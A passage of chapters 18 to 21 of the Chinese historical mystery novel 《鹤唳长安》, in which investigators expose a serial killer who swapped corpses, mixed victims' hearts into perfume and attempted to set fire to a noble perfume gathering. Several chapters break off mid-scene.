见有姑娘在此,徐赟语气有些迟疑,裴晏直言道:“青楼?” 徐赟点头,“不错,长安有几家尤其喜欢养身段好,模样好的少年童子……” 裴晏道:“他具体是何时被发卖的可还记得?” 徐赟仔细回想一番,“似乎是在景德三十二年中秋前后。” 裴晏微微颔首,徐赟又道:“在戏班子里待过的人总被视为下九流,就算再机灵,大部分清正人家也还是很介怀的,因此小人怀疑,那孩子难有好去处,而他若是靠着此技吃饭,这么多年也不可能不露头……” 裴晏了然,“要么人不在长安,要么便未靠此技吃饭。” 见二人所知已尽,裴晏便命人退下,钟春与徐赟一颗心高悬着,闻言大松一口气,拱手行礼之时,下拜的尤其深,姜离站在不远处,目光晃过,忽然看到徐赟后颈处有一道墨迹刺青,她不免道:“徐公子,你后颈处是何刺青?” 徐赟抹了一把后颈,“哦,是长福班拜师的印记。” 裴晏忙问:“当年那孩子可有此印记?” 徐赟踌躇道:“我记不清他是否正式拜师了,只有正式拜入师父门下才有,是个古体‘福’字。” 裴晏点了点头,命九思将二人送出去,他们一走,付云珩道:“前面那两人难追查,这第三人倒可试试,他说的那几家我已问过,今日便可走访完。” 裴晏有些满意,“查,凶手有两人,如今的线索还远远不足,不可轻放。” 付云珩点头应是,又道:“对了,昨夜我姐姐也想起一事来,她说当时与那凶手搏斗之时,她的指甲不是断了吗,她好像记得是挂在了凶手身上,但不确定是脸上,还是手臂上,当时实在是太混乱了……” 姜离语声微紧,“意思是她在凶手身上留下了痕迹?” 付云珩点头,“她说有可能,但也不是十分肯定,若只是一点儿轻微的痕迹,可能已经消失无踪了……” 如此一言,又让姜离心弦松落下来,“的确,事发已经八日,痕迹多半已经没了,让她不必思虑过重,如今有新线索,只等衙门的消息便可。” 付云珩应好,又叹气道:“她伤好了许多,只是退婚对她打击不小,都两日了,徐家那边再没个说法,这退婚是板上钉钉了,我父亲也称病告假了,姐姐知道之后,又怪她自己那日要去上香,说一切都是她心存侥幸。” 姜离听得面色微冷,裴晏也道:“如今人证尚未找回,等一切真相大白便可。” 付云珩点点头,“好,那我便先回衙门。” 他告辞离去,出门时正与十安碰上,便见十安快步进门道:“公子,那七家已经派人去问了,都说长相思香被她们自己留下用,没有送人也没有赏给下人。” 姜离和裴晏一听都有些失望,如此一来,无名女尸的线索便断了。 裴晏遂道:“昨日京畿衙门也没有符合条件的失踪之人,既然这条线索难寻,那便还是从汪妍入手,凶手未曾抛尸,那她对于凶手而言一定是与众不同的,汪家那边可有什么新消息?” 十安正声道:“早间有禀告说,汪家将绸缎庄之下的染坊关了,因汪乾没心力染天云碧,和汪妍有关的新线索没有,那冯家我们也查了,和之前得的消息一样,没有作案时间,也没有足够动机,冯家这几日在托人给冯公子说新亲事,说的是幽州刺史季行艰府上的二小姐,听说季行艰快回来了,冯夫人往季家走动频繁。” 十 第 18 章 换尸 《鹤唳长安》全本免费阅读 “大人,没有找到人——” 午时初刻,银装素裹的庭院里,姜离与裴晏并肩而立,卢卓与冯骥带着大理寺差役,正在庭院之间搜查。 卢卓道:“他们府上的人说,昨夜主仆二人皆未归家,还说这等情况这几月十分常见,他们也未当回事,也不知道去处,且自从出事之后,府内遣散了不少人,再加上近日宅邸之争,府中只留下几个来了三月的。” 姜离与裴晏面色齐沉,裴晏问:“主仆二人时常一起彻夜不归?” 卢卓点头,“家仆是如此说的。” 裴晏眼底闪过肃杀,“搜,府内上下尽数搜一遍,看能否找到线索。” 卢卓领命而去,裴晏又唤:“冯骥,你派人去金吾卫一趟,令他们全城搜捕,你再亲自带人去几处城门查问,看他们是不是察觉危险逃出了城。” 冯骥点头,“是,属下这就带人往城门寻。” 冯骥说完转身而去,裴晏的表情有些严峻起来,姜离也拧眉道:“这几日传唤受害者家属问证,他们的确知道大理寺查到了什么,也明白他杀人之法已暴露,但如今我们还未明白无名尸体有何玄机,他们会逃吗?” 这般说着,姜离心底生出不好的预感,目光掠过重重飞檐,幽幽道:“多了一具无名女尸,不见的却是汪妍的尸体,可汪家的证供中从未提起他只言片语,汪妍在家中极受宠爱,对冯家亲事亦满意,没道理与他有何牵扯,而他凭何藏起汪妍的尸体?” 姜离心底疑窦难明,未几,卢卓去而复返,“大人,都搜了,这院子拢共三进,也不算大,没发现有何异常,暂时也没发现暗室。” 此一言令几人心生疑窦,裴晏道:“若杀人现场在此,绝不可能毫无异样,除非他还有别的宅邸。” 卢卓摇头,“问了他的管家,说不知他是否还有别的宅邸。” 裴晏听得狭眸,这时,九思从府外快步而入,“公子,这是最近两日调查凝香阁和浮香斋得来的信报,都在此了——” 裴晏接在手中,九思道:“浮香斋这几日在准备品香雅集,除了香料之外,购置了不少待客之物,据说今夜还有烟火会,在城南林氏作坊采购了不少焰火炮仗,凝香阁这几日没什么动静,此前数月的些许采买进项也在此。” 这份文书名单颇长,裴晏一目十行看过,又将公文递给了姜离,姜离打开一看,也觉目不暇接,因心思皆在眼前,对这些反不比先前在意。 这时裴晏道:“留人在府中蹲守,将其他府内下人带回去详细审问。” 出得府门,裴晏带着人打马在前,姜离则上了薛氏马车,他们眼下是在城南永达坊,要回大理寺,需得先往朱雀街去,等到了朱雀街,姜离听着外头贩夫走卒的吆喝掀起帘络,在抬眸朝东面看,很快沉思起来。 怀夕在旁看着,“怎么了姑娘?” 姜离道:“这里距离安善坊很近。” 怀夕扬眉,“您是说仁风堂?” 姜离点头,这时不知想到什么,对策马在前的裴晏道:“裴大人,我想到一处可能,但极不确定,我想去探问一二,你们先行一步,我稍后跟来。” 裴晏迟疑一瞬,终是道:“九思。” 九思眼珠儿微转,立刻道:“小人跟着薛姑娘。” “不必——” 话音还未落,裴晏已经打马而走,九思道:“姑娘可是在替大理寺分忧,您不必与公子客气。” 姜离默了默,只好吩咐长恭,“去靖善坊廖记当铺——” 九思打马跟随,一听这地名,只觉万分熟悉,很快他反应过来,“这家当铺不是那家婢女此前去过的……” 姜离点头,“我有一事要问。” 九思点了点头不再多言,没多时,马车便到了廖记,姜离亲自下马车入当铺,又叫来掌柜的问话,不到一刻钟,姜离肃面而出,又吩咐,“去宣义坊万宝坊。” 长恭应是落鞭,马车直奔宣义坊而去,九思随行在旁,忍不住隔着帘络问道:“姑娘刚回长安没几日,怎么对这几家当铺位置颇为熟悉?” 姜离所知当铺乃是从公文中看来,但能清清楚楚记得位置却实属难得,马车内姜离与怀夕对视一眼,怀夕出声道:“我们姑娘有过目不忘之能。” 九思摸了摸鼻尖,一时不知该不该信。 等马车到了万宝坊,姜离再下车探问,一刻钟后,面色愈发难看地上了马车,“去开明坊杨氏当铺——” 马车走动起来,怀夕道:“姑娘在怀疑什么?” 姜离眯着眸子,脑海中忽然 浮现起了昨夜的秋月梨,她语声微凉道:“若我记得不错,密州乃是瓜果之乡,每年四五月份尤其盛产枇杷与杏子。” 说起吃的,怀夕自是了解,“不错不错,密州位置好,去哪儿都不算远,咱们四五月份不也在徐州吃过吗?但,这与咱们得案子有何关系?” 姜离缓缓摇头,似想到了极其疑难之处,又轻喃道:“可这是为什么……” 怀夕不敢打扰她,又过了两刻钟,马车到了杨氏当铺,姜离下马车入店探问,没多时,她又面沉如水走了出来,此刻已是申时过半,阴沉的天光已现昏暗,姜离上了马车,却并未发令,只靠着车璧苦思起来。 九思在马车外候着,只听见马车内姜离在自言自语。 “汪妍失踪在六月初七……” “第一次典当在六月初四……” “长相思在四月十三发售……” “浮香斋防制香丸……” 姜离轻喃不断,落在膝头的手亦松了又紧,紧了又松,某一刻,她忽然坐直了身形,目光亦森寒起来,她一把掀开帘络,“九思,你快回大理寺见你家公子,我知道该去何处找人了!” 九思一愣,“小人回大理寺,那姑娘呢?” 姜离寒声道:“我去一趟义庄。” …… 裴晏从大理寺监牢走出来已近酉时,冯骥和付云珩都等在外面,冯骥道:“大人,六处城门都去仔细查问了,没有见过他们。” 付云珩也上前来,“鹤臣哥哥,怎么忽然确定了凶手?” 裴晏将得来证供给付云珩,付云珩接过一看,倒吸一口凉气,“案发的那几次,他们还真不在府中啊,可惜我们当时只顾着安抚他们情绪,哪里疑过他们!这些人都只在府里伺候了两三月,这是早有预谋!可我们那边也搜了半日了,没发现他们的踪迹,难道是躲藏去了何处私宅我们还未发现?” 一路回了东院,裴晏看着新得的证供陷入了沉思,某一刻,他目光一转落在堂中,轻声道:“年初开业,年初支银,香方防制,东家无踪……” 付云珩没听懂,“鹤臣哥哥在说什么?” 裴晏目光几变,“这怎可能……” 付云珩看向卢卓二人,卢卓与冯骥亦是一头雾水,而这时,九思从外 面快步而入,“公子,小人回来了——” 他直冲进门,裴晏看向他身后,“薛姑娘呢?” 九思快速道:“薛姑娘说要去一趟义庄,他让小人先一步回来找您,说咱们要抓的人在浮香斋——” 裴晏眉心一跳,立时起身,还未说话,一旁的付云珩瞪大了眸子,“浮香斋?浮香斋今夜不是有品香雅集吗?不是请了好些达官贵胄人家的小姐吗?我姐姐也被虞梓桐带着去那雅集了!” 话音落下,裴晏不知想到什么,断然道:“让牢里继续审,卢卓清点武卫出发,浮香斋要出事——” …… 酉时过半,陈安将最后一位客人迎进了后院临时搭建的花厅之中,虽是临时搭建,却也装点的珠帘绣幕,富丽堂皇,灯火荧煌间,以庆阳公主李莹为尊的三十多位夫人小姐并几位年轻公子皆分席而坐,连凝香阁如今的东家康隆也在列,每个人都将期待的目光落在他这个掌柜身上。 陈安挺了挺胸膛,面上一派春风得意,大半年期,他还在通州香铺之中伏低做小求生意,可短短十个月,他竟能与当今公主、与王侯夫人、世子,伯爵小姐、公子们相聚一堂,甚至无需谄媚卖好,这些高高在上的贵人们也对他笑脸相待。 陈安清了清嗓子,又朝着后厢抬了抬手,在一片悦耳丝竹声中,他登上了铺满黼黻的圆台,又笑盈盈道:“今日有幸得诸位贵客赏光,在下也就不卖关子了,今日除了此前出过的珍藏限量香膏和下月将出的五种香脂,我们东家还新制了三款新的香脂请大家品鉴,这三款新香脂将不做对外售卖,只送给今日出席的诸位,临近年末,以此感谢诸位今岁对浮香斋的厚爱。” 席间传来几声欢呼,陈安拍了拍手,四垂的纱帘后,鱼贯走出七八个形容清秀的侍女,侍女们捧着精致的香盒,依次奉送给在座的客人。 陈安道:“这第一款香,名叫‘雪中春信’,如今正值隆冬,我们东家以红梅做底,特制了这款色艳气幽的淡香,无论是公主殿下、夫人小姐们,还是诸位公子,皆可享用,绝无艳俗之感……” 随着陈安所言,众人打开香盒,纷纷试起香来,不过片刻,皆是赞不绝口。 陈安眉梢眼角笑意更深,片刻后,又拍了拍手,待侍女们送上新香,他又道:“这第二 款香,名叫‘归梦同心’,海棠未雨,梨花先雪,相思只在丁香枝上,豆蔻梢头,此香是我们的长相思续作,除了海棠、梨花、丁香、豆蔻之外,还有沉香与我们的西夷神香木,尤其适合闺中小姐们。” 在场者多为年轻女子,闻言皆素手试香,薛沁今日来的极早,等的便是此香,此刻试着新香,忙不迭对着面前的铜镜涂起胭脂与口脂来,其他人显然也对此香颇为青睐,一时场间多有幽香浮动。 庆阳公主失笑,“这香本宫便不必试了,驸马喜欢清淡怡人之香,雪中春信就十分不错。” 陈安闻言不敢轻慢,连忙请上第三种新香,“这第三款香,名叫‘嬿婉良时’,诸位可品一品,里头除了芙蓉、牡丹之外,还有何种香料——” 薛沁闻言先道:“百合,丁香——” 陈安笑着应是,这时,又有一人道:“嬿婉良时,这是恩爱多情,良辰结亲之意,这是要出专门给新嫁娘所用之香吗?那被退婚的人,岂不是用不得?” 话音落下,场间众人纷纷 第 19 章 尖叫 《鹤唳长安》全本免费阅读 姜离一言似水入油锅,立刻引得满场惊诧,新娘屠夫之名在长安城传了小半年,其凶狠残忍能止小儿夜啼,可谁能想到,此人竟是凝香阁从前的少东家,亦是真正的浮香斋老板,而替换尸体之言,更听得众人毛骨悚然。 康隆不敢置信道:“什么?那尸体不是韵儿?韵儿还没死?!” 众人多少都听过案情,皆惶然议论起来,薛沁看着姜离站在裴晏身边,一脸的不可置信,“长姐,你怎么知道这些——” 裴晏显然也未想到此处,而二楼轩窗处,康景明一脸沉稳若定道:“薛姑娘在说什么?我怎么听不明白?” 姜离森然道:“六月初七,汪妍失踪,六月二十,用汪妍衣裙包裹的高度腐烂的尸块在城西护城河发现,因尸体腐烂太过,再加上汪妍的衣裙饰物,官府与家属自然而然将死者当做了汪妍,可你并不知道,汪妍少时摔断过手,如今骨头上仍留有痕迹,而尸体因腐烂见骨,我又无意间得知汪妍断手之事,这才发现了古怪。” “遗体不是汪妍,那死者是谁?真正的汪妍又去了何处?这几日衙门皆在查此两问,后来大理寺的仵作剖验,发现第一具遗体的主人曾换过鹤膝风之疾,我们几经走访,在城南仁风堂找到了治疗过死者的老大夫,老大夫说,这位姑娘今岁四月中看诊,看诊时,身上有一种浓香,其中正含芍药、相思子、合欢、甘松、麝香、木香等几味香料——” 姜离言辞铮然,这时陈安反应最快,“这是我们的长相思!” 姜离看他一眼,点头道:“正是浮香斋的长相思香,而后我们查问得知,长相思是四月十三才开始售卖,既然四月十三才开始卖,那倘若这位死者是四月十三之前便去仁风堂看诊,她怎会用上长相思香?当然,老大夫记不清具体日期,此处存疑,直到今日,我去了康家,这才发现康家距离仁风堂所在的安善坊极近——” “患鹤膝风的病患腿疼,看病自去最近的医馆,这便令我觉得巧合,这时,我串联起近来诸多线索,发现了一个匪夷所思的可能,凶手有可能是你们主仆二人,而凝香阁盛名已久,浮香斋的香方与凝香阁极其相似,那会否存在一种可能,浮香斋幕后之人,本来就与凝香阁有关呢?这时,我想到了康韵的侍婢翠竹。” “翠竹是密州人, 而死者发鹤膝风的病因之一是吃了颇多冷凉瓜果,恰巧密州正是瓜果之乡,四月尤其盛产枇杷与杏,更重要的是,翠竹刚好在康韵出事前被发现偷盗之行,后被赶出康家,官府复查时,发现她去过当铺典当赃物,于是我跑了三家当铺,这一问才得知,当日去典当那些玉器首饰的姑娘,皆穿斗篷带兜帽,身形清瘦,声音也颇为婉转动听,这与新娘屠夫诱骗受害者的方法十分相似,我因而怀疑是有人假扮翠竹前去当铺。” “翠竹第一次去典当财务,乃是六月初四,这时汪妍还未失踪,于是我想,会不会第一个死的就是翠竹,翠竹死后,凶手想为赶她出府做铺垫,于是安排假的翠竹去当铺留下线索,但如果死的是翠竹,身为主人的康韵怎会发现不了?” “这时,我记起当时康家人的证词,说康韵月余闭门研香,府中只有翠竹近身伺候,也只有康景明你日日见她,你费尽周折自是为最重要之人,但出错的却是第一具尸体,汪妍和翠竹对你而言不算紧要,那真正出错的,难道不该是你姐姐的遗体?” 姜离凌然道:“我怀疑到此处,便已想通了一切,因此我又去了一次义庄,当我用仵作的法子勘验第二具遗体之时,果然在其手臂骨头上发现了断痕,那尸体根本不是康韵,而是汪妍,真正的康韵从未出现在众人视野之中!” 姜离从头至尾讲明一切,听得付云珩目瞪口呆,他骇然道:“所以汪妍他哥哥怎么也不会想到,虽然汪妍的遗体认错了,可妹妹的尸体其实也近在眼前?” 众人本是云里雾里,听到此处皆心惊不已,唯独康景明失笑摇头,“薛姑娘好会联想,还要替换两次尸体,凶手何不就用翠竹替代我姐姐的遗体?” 裴晏寒声道:“自是因汪妍遇害之时,翠竹的尸体早已发腐,为了不让官府发现破绽,先抛翠竹尸体假做汪妍,待到七月,现在汪妍的指甲上染色,又抛汪妍的尸体假做康韵,如此便完成两环障眼法,令所有人以为翠竹被赶出府回了老家,死的是汪妍与康韵。” 康景明似笑非笑道:“大人是否忘记了,这案子凶手的选择对象都是新嫁娘,翠竹可不是什么待嫁的新娘——” 裴晏道:“凶手选待嫁新娘,乃是为了挖心,可第一位死者的尸块被发现时,内脏已经被尸虫掏空,已没有办法证明 其心脏是否被凶手掏走,她的死多半只是个意外,而后被你拿来当做误导官府的棋子罢了。” 不等康景明说话,姜离又道:“如果没猜错,翠竹应该死在五月末六月初,而她四月去看鹤膝风之时身上有浓香,不是因为她买了长相思,而是因为她日日伺候研制长相思之人!在长相思还未售卖之前,她身上便日日染香!” 康隆眼神一变,“薛姑娘的意思是说,长相思不是浮香斋研制,而是……” 姜离点头:“不错,应是康韵研制。” 康隆不敢置信,“可是怎么会?” 裴晏道:“你曾说过,今岁初,康韵曾支了一笔银子出去,而后不知下落,如果没猜错,那银子正是给了康景明,彼时康韵婚事初定,知道她出嫁之后康景明日子必定艰难,于是想帮康景明自立门 第 20 章 贺新婚 《鹤唳长安》全本免费阅读 “啊——” “人心入香膏?!” “人、人心,用人的心……” 此起彼伏的尖叫声悚然刺耳,采薇见薛沁吓呆了,颤声道:“小姐,这康景明掏人心入香脂,您此前可是日日涂半盒香脂在身上的——” “你住嘴——” 薛沁面如白纸,紧紧攥住衣袖才压下胃里的不适,她不仅往日厚涂香脂养肤,便是今日,她也涂了全套的胭脂口脂才出门,此时此刻,她只觉身上有万千虫蚁在爬,喉头亦涌起阵阵呕意,“回府,离开这里——” 薛沁一刻也待不下去,其他夫人小姐皆是浮香斋老主顾,此刻亦是万念俱灰,有人扶着廊柱干呕,有人气的低骂不止,有人拿茶水不管不顾地将面上香粉胭脂洗下。 付云慈拉着虞梓桐的手问:“梓桐,你可用了?” 虞梓桐咬牙道:“今日未用,但此前用过两次胭脂。” 一片兵荒马乱之中,唯独庆阳公主还算镇定,她喝问:“以人心入香,康景明,你是失心疯了不成?!” 康景明站在轩窗后,笑意悠悠道:“公主殿下,我曾看过一本百年前的香集,说有情人之心乃是世上最宝贵之物,以此物入香,可令人容颜永驻,还有勾魂夺魄之效,我听说许多客人用了我的香都得了良缘,如此不就证明我所知无错吗?从四月至今,满长安城都以浮香斋香膏为贵,这亦证明没有姐姐我一样能制好香。” “你简直是畜生——” 康隆忍不住喝骂,“你这见不得光的东西,没有半点康家人制香的天份也就算了,如今为了求名逐利,竟用如此丧心病狂之法制香,若韵儿知道,怎能容你如此?!” 说至此,康隆忽地恍然,“对,她知道,她一定早就知道了,你怕她坏事,便将她挟制起来,你老实说,你把她藏去了哪里?!” 说起康韵,康景明的表情阴沉起来,“你怎有脸提起我姐姐?这一切都是因为你这老匹夫而起,若非你逼姐姐出嫁,又怎会有今日之事?” 二楼轩室门扉紧锁,上楼的武卫已开始撞门,眼看着花厅里的客人们气急败坏纷纷欲走,康景明眼底漫出两分癫狂之色,“诸位,今日是良辰吉时,你们不是想知道我姐姐在哪里吗?好啊,你们跟我来便是了——” 话音落下,他于二楼轩室连步后退,退至后窗时,众目睽睽之下,他竟一把推开窗扇,从那漆黑的窗洞一跃而下—— 裴晏立刻喝问:“浮香斋之后是何地?” 陈安掌柜梦碎,此时已是肝胆俱裂,惊声道:“那后面是别人家的旧宅吧,还隔着一条三尺宽的暗巷呢,我们这后院侧楼是东家偶来安歇之处,平日里无人能进,小人虽进去过两次,却记得那后窗本是封死的,怎么今日能开了!” 裴晏脚步迅捷地往侧楼正房走去,甫一入门,便见屋内布置简单,家具器物亦皆是雅正干练,楼上撞门动静不小,但裴晏目光四扫之后并不着急上楼,他不知在谋算什么,眼底微光明灭,很快,他将视线落在厢房以西不起眼的黑漆高柜之上。 “九思——” 大理寺武卫围住厢房,姜离和付云珩也跟了过来,庭院内其他人本想走,可一来众人被康景明愚弄,对其恨之入骨,二来,看客们知晓了前因后果,也无一不想知道康景明到底把她姐姐挟制在何处,一时间,以庆阳公主为首者纷纷涌了过来。 屋子里,九思正在黑漆高柜中摸索,某一刻,他不知转动了什么,柜后高墙内忽然响起了一阵机关转动之声,与此同时,柜阁跟着墙体微微一转,下一刻,一个黑漆漆的甬道洞口露了出来。 卢卓见状,先带着人往门洞内探去,庆阳公主见状想跟上来,却被裴晏阻拦了住,“公主殿下,或有危险——” 庆阳公主气的不轻,切齿道:“鹤臣,有这么多武卫在,难道还怕那康景明一个?本宫今夜非要看看此人葫芦里卖的是什么药!” 庆阳公主话音刚落,甬道中传来卢卓瓮声瓮气的呼喊,“大人,快来——” 卢卓语气并不紧迫,反是震惊更多,见庆阳公主心意已决,裴晏只得先一步往甬道中走去,这甬道往下延伸,足有五尺来高,众人不知甬道通向何处,可不过走了三五丈远,一处透着光亮的阶梯露了出来。 裴晏加快步伐,待从阶梯走出,也被眼前景象惊得失语。 甬道出口在一处邻水厅堂,此刻堂内漆黑,堂外却是一片灯火通明,从厅堂走出,乃是一片临着假山浅湖的露台,引人注目的,是对面雕梁画栋的碧瓦水阁,两地隔湖相望,一眼看去,水阁檐下大红的 喜绸高挂,贴着“喜”字的红灯笼鲜艳夺目,而从大开的轩窗看进去,红烛摇曳中,两道人影正靠坐在珠帘红帐的喜床上。 二人紧紧依偎,一人着描金龙凤呈祥纹正红大袖锦衣,正是康景明,被他揽在怀里的人,着绯红榴绽百子与鸳鸯成双纹蜀锦大袖衫,搭流光溢彩的祥云并蒂莲纹霞帔,一方金绣繁丽的凤戏牡丹纹盖头正严严实实地掩着面容。 虽看不见脸,可只瞧纤秀的身段,也能看出是个女子,她不知是不是被下了迷药,此刻无力地靠在康景明怀中,因有人质在手,逼得武卫们不敢动作。 忽然,康隆骇然道:“我认得这套嫁衣,这是韵儿今岁三月在锦绣坊定做的嫁衣!我绝不会认错,韵儿,是韵儿——” 康隆认出喜服,跟过来的众人听得倒吸一口凉气! “那是康姑娘……” “这是要与亲姐姐成婚?” “疯了,真是疯了……” 此起彼伏的惊呼响起,对面的康景明分明听得见,却全然不以为意,仿佛就是要让所有人看到这一幕,他半揽着身边人,又怜惜地贴靠着她的发顶,那满脸缱绻情谊透着别样的疯狂,看得人心惊肉跳。 见盖着盖头的新娘全无反抗,康隆忍不住喝问:“康景明,你把韵儿怎么了?!” 康景明唇角噙着一抹淡笑,痴痴道:“大伯,你没有看到吗?今日是我与姐姐的大喜之日,能有这么多人前来贺喜,我和姐姐都很开心……” 康隆瞠目大骂,“畜牲!你有本事让韵儿开口说话!你姐姐那般规矩守礼之人,怎会与你做下这等不伦无耻之行?!你让韵儿说话!” 康景明不以为忤,反而亲吻起康韵的额头,口中定定道:“姐姐,你看到了吗?我对你的情意可昭日月,今夜这样多人,都是来庆贺我们新婚的,从此以后,你我缔结良缘,永结同心,白头到老,这世上再不会有人分开我们。” 他说的情意绵绵,随着他亲吻动作,丝缎盖头也轻轻摇晃。 康景明情到深处,又隔着嫁衣握住康韵的手,不住放在唇边亲吻,“姐姐,你终于为我穿上嫁衣了,你可知我等了多久……” 他说的忘情,可就在这时,大红的盖头自康韵发顶一滑而下,下一刻,更为惊恐的尖叫声响彻厅堂—— 只 第 21 章 私情 《鹤唳长安》全本免费阅读 眼见火光骤起,众人这才明白康景明之意,康隆大骇:“你这畜牲,你这是要害死所有人吗?!” 喜阁之内,康景明悠悠笑道:“大伯,不是你说的要给姐姐陪葬吗?等到了九泉之下,姐姐一定会感念你这份好意的——” 说着话,康景明又捧着康韵面颊,“姐姐,你看到了吗?连公主殿下都要为你陪葬,姐姐,我好高兴,我这就来见你了……” 康隆听得肝胆俱裂,他此前见康景明因康韵之死一副生无可恋之态,责骂时,总是要喊他去给康韵陪葬,未想到康景明竟将此言听了进去,如今,更是真要让这么多达官贵胄一同给康韵陪葬。 露台上惊叫四起,因火从东面来,受惊的夫人小姐们慌不择路往西逃,然数十人聚在一处,推搡冲撞间霎时有人跌滚在地! 裴晏站在最前,立刻道:“卢卓——” 卢卓得令,忙带着几个武卫疏散人群,又往后喊道:“都往后退,退回厅内,往密道里去,不要慌,火起不来的——” 话虽如此,可那火似有灵性,顷刻间便窜上了露台围栏,众人只觉一股子热浪袭来,又因夫人小姐们衣饰繁复行走艰难,竟三三两两堵在密道入口,而适才站在最前之人,如今都落在最后,反成了最容易被大火燎到之人。 裴晏目光四扫:“保护公主。” 话音落定,九思护着庆阳公主往厅内挤,姜离站在队伍末端,先一把将付云慈和虞梓桐推进了厅门,就在她也要进门时,一股子浓烈的刺鼻之味忽然飘了过来,她眼瞳一颤,一时顾不上避火,只豁然转身往火势最盛处看去。 露台只有连廊为出口,此刻连廊内外火势汹汹,火苗似灵蛇一般窜上房梁与围栏,又一路蔓延至露台与厅阁东窗,四起的浓烟中,几抹刺目焰光一闪而逝,姜离心腔狂跳,四肢发僵,似透过那妖异的火舌,看到了一场更为毁天灭地的大火。 她凛然喊道:“是硝石,是康青在放火,东北方向——” 火光漫天,一道着黑衣的清瘦身影在不远处的花墙后半隐半现,令人心惊的是,他手中握着一把弓/弩,弩上火光烈烈的箭簇正对准了这处厅堂。 也直到此时,众人才看清漆黑的厅堂内,四面墙边皆摆着不少桌帷严实的长案,长案下放着密封竹筐 ,谁也不知筐内是何物。 她的呼喊惊动了康青,武卫们抽刀飞扑,康青箭尖一移,“咻”的一声便有劲风破空而来,姜离眼睁睁看着火箭簇飞向自己,周身肌肤又生燎痛之感,千钧一发间,一道身形挡至她身前,又见一抹寒光电闪而出,“叮”的一声轻响,裹着桐油布的火箭猝然坠地。 一箭不成又来一箭,但裴晏衣袖当风,持剑而立,剑花轻挽之间,便是最好的弓手也难突破,第三箭尚未射出,两个武卫腾挪扑至,几乎是同时,一墙之隔的暗巷中响起一阵嘈杂的马蹄车轮声,几息之后,数道水柱自高墙外滂沱而下! 这时,又有几道人影跃上西面墙头,竟是冯骥与三个武卫,他一个跃身,足尖点围栏近前,低声禀告道:“大人,巡防营和武侯铺的人都来了,水车和唧筒齐备,这火烧不起来,其他兄弟已带着人从宅子前门攻入,另外刚得到消息,您派去城外的人回来了,说带回来两个人证,您看如何处置?” 一旁的付云珩惊喜万分,裴晏下意识与姜离对视一眼,吩咐道:“今夜此地多半要花些功夫,把人带过来审。” 冯骥应是,卢卓在后道:“诸位莫慌!火马上就灭了!” 此刻大部分人仍挤在厅内,一听此言,所有人皆生劫后余生之感,胆子小的更腿软瘫坐了下来。 对面喜阁中,康景明揽着康韵的尸体,本打算好好欣赏这场大火,在场这样多人,就算困不住大理寺武卫们,可这么多夫人小姐,总也有逃不出去的,但他怎么也没想到这火起的快,灭的更快—— “怎么可能,这怎么可能?!我做的这样隐蔽,不可能有外人知道,康青也绝不会出卖我……” 裴晏收剑入鞘,“三日之前,浮香斋采买了大量焰火,时近年末焰火昂贵,一个品香雅集何以花费如此巨资?恰巧在前一日,你与康隆同至大理寺接受问询,你们离开之时,康隆那句‘陪葬’之言尤其刺耳,而今日整天都有金吾卫全城搜捕,你自得消息,但你没有躲藏,反而还要举行这雅集,你所请之人,亦几乎涵盖了长安大半非富即贵的客人,那你的目的便昭然若揭了。” 说着话,他又示意连接露台的厅堂,“时下硝石与桐油等物皆管控严格,你想谋害这么多人,只有拆解焰火中的硝石炭粉来放火一道,你这 厅堂乃是此宅后院,狭小逼仄,若火势迅猛,倒是即便连通密道也难逃生,但既料到你害人之法,适才卢卓带人先一步赶到时,你屋内掩藏的硝石与木炭已被尽数毁了。” 他话音落定,卢卓从胸前掏出个不大不小空水囊来,众人这才发现,这些武卫胸前皆是微鼓,因冬日穿着臃肿并不明显。又有人掀开桌帷一看,果见竹筐内皆是硝石与木炭粉末,此刻皆被浸湿,莫说火烧不过来,便是烧过来也难引燃。 姜离不知裴晏有此般安排,她看着裴晏侧影,又擦了擦掌中冷汗,狂跳的心腔这才一点点平复下来。 说话间连廊火势已灭,裴晏带着一众武卫踩过满地水渍黑灰行至喜阁,花墙之后的康青早被捉拿,其余武卫已入喜房将康景明团团围住,康景明避无可避,主仆二人皆是穷途末路,康青恨红了眼,康景明却不怒不哀神色安然。 他贴着康韵额头,“姐姐,我又让你失望了,不过没关系,今日是你我大喜之日,我知道姐姐在等我,姐姐别怕,我这就——” 他话音未落,两个武卫见势不妙一拥而上,卸其臂膀与下巴的同时,一把短刀自他袖间滑落,那是一把三寸来长的单刃香刀,红烛照耀下,闪着渗人寒芒。 武卫将康景明押跪在地,又将刀递给裴晏,裴晏吩咐道:“先把死者的尸体抬去别的屋子安置,搜查整间宅邸后再行审问——” 冯骥领命而去,见康韵被抬走,康景明说不了话,却在喉间发出几声悲鸣,眼眶亦红透,众人看着他这幅痴情模样,只觉万分不适。 庆阳公主心有余悸地站在露台,“鹤臣,此人是新娘屠夫,那浮香斋也留不得吧?” 裴晏应是,又看了一眼天色道:“时辰已晚,这案子与大家无关,大家也都受了惊吓,公主殿下不若先带着其他人各自回府歇下。” 今夜好一场惊心动魄,庆阳公主高耸的发髻都乱了三分,按理是该回府歇着,可她性子素来骄纵,事情到尘埃落定这一步,她反而不想走了,“你别赶本宫走,今夜本宫也是受了多少年没受过的气,本宫非要留下看看此人除了这不伦之行,到底还有怎样的面目,你放心,本宫就是解惑,绝不妨碍你破案。” 裴晏欲言又止,但这时前院方向走来一行巡防营与武侯铺之人,隔着几丈积雪 冰冻的内湖,姜离隐约看到了一个熟悉的身影。 也就在此时,付云慈带着虞梓桐靠近她,“薛姑娘,你没事吧,刚才你让我们走前面,我生怕你被火势燎到了,这是兵部侍郎府上的虞姑娘——” 五年未见,虞梓桐身量更高,五官也已长开,鹅蛋脸,柳叶眉,一双丹凤眼微微上挑,像极了她明媚张扬的性子,她真诚道:“薛姑娘,我对你久仰大名,也知道是你救了阿慈,你既是阿慈的救命恩人,那便也是我的恩人,适才你顾念我们二人,也实在让我感激,我们……” 虞梓桐说着话,却忽然发觉身侧付云慈呼吸急促起来,她转眸一看,便见付云慈直直盯着对面水阁,面色一片煞白,虞梓桐随她视线看过去,眼风登时一厉,只见对面代表巡防营来的人,竟是多日未见的徐令则! 徐令则在巡防营任从六品都尉,今日裴晏身边的冯骥前去求援,徐令则不敢大意,亲自带人与负责长安火情管制的武侯铺同来,来了之后才知今日连同庆阳公主在内,有这样多人身处险境。 喜阁门口,付云珩冷笑道:“徐大哥,真是多日未见了。” 徐令则有些尴尬,“阿珩——” 付云珩不善道:“如今这情状,徐大哥还满意吗?哦徐大哥还不知道吧,我姐姐纵然被污蔑的恶名缠身,但她并不惧怕自轻,今日,她也来了——” 